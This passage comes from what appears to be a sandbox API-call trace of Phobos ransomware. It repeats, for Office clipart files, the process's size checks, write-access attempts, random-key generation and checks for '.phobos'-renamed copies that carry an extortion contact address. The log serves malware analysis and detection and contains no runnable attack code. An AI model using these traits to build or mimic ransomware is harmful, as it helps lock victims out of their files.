Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.684] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=114423) returned 1 [0152.684] CloseHandle (hObject=0x580) returned 1 [0152.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg")) returned 0x220 [0152.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.685] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.685] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=97774) returned 1 [0152.685] CloseHandle (hObject=0x580) returned 1 [0152.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg")) returned 0x220 [0152.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.763] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.766] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=105053) returned 1 [0152.766] CloseHandle (hObject=0x580) returned 1 [0152.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png")) returned 0x220 [0152.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.766] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.766] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.767] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=96066) returned 1 [0152.767] CloseHandle (hObject=0x580) returned 1 [0152.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png")) returned 0x220 [0152.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.767] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.767] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.768] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5622) returned 1 [0152.768] CloseHandle (hObject=0x580) returned 1 [0152.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf")) returned 0x220 [0152.768] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.769] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.769] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4240) returned 1 [0152.769] CloseHandle (hObject=0x580) returned 1 [0152.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00132_.wmf")) returned 0x220 [0152.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00132_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00132_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.769] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.771] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12770) returned 1 [0152.771] CloseHandle (hObject=0x580) returned 1 [0152.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf")) returned 0x220 [0152.771] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.771] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.772] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20548) returned 1 [0152.772] CloseHandle (hObject=0x580) returned 1 [0152.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf")) returned 0x220 [0152.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.773] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.774] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10818) returned 1 [0152.774] CloseHandle (hObject=0x580) returned 1 [0152.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf")) returned 0x220 [0152.774] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.774] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.774] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.775] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3754) returned 1 [0152.775] CloseHandle (hObject=0x580) returned 1 [0152.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf")) returned 0x220 [0152.775] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.775] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.775] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.775] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4900) returned 1 [0152.776] CloseHandle (hObject=0x580) returned 1 [0152.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00068_.wmf")) returned 0x220 [0152.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00068_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00068_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.776] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.776] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4996) returned 1 [0152.776] CloseHandle (hObject=0x580) returned 1 [0152.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf")) returned 0x220 [0152.777] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00238_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00238_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.777] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.777] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.778] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2148) returned 1 [0152.778] CloseHandle (hObject=0x580) returned 1 [0152.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf")) returned 0x220 [0152.778] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00330_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00330_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.778] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.778] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.779] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4466) returned 1 [0152.779] CloseHandle (hObject=0x580) returned 1 [0152.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf")) returned 0x220 [0152.781] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00388_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00388_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.782] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.783] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8394) returned 1 [0152.783] CloseHandle (hObject=0x580) returned 1 [0152.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00389_.wmf")) returned 0x220 [0152.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00389_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00389_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00389_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00389_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.784] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.785] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8642) returned 1 [0152.785] CloseHandle (hObject=0x580) returned 1 [0152.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf")) returned 0x220 [0152.785] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0152.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0152.785] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0152.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580 [0152.786] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8684) returned 1 [0152.786] CloseHandle (hObject=0x580) returned 1 [0152.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00391_.wmf")) returned 0x220 [0152.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00391_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft 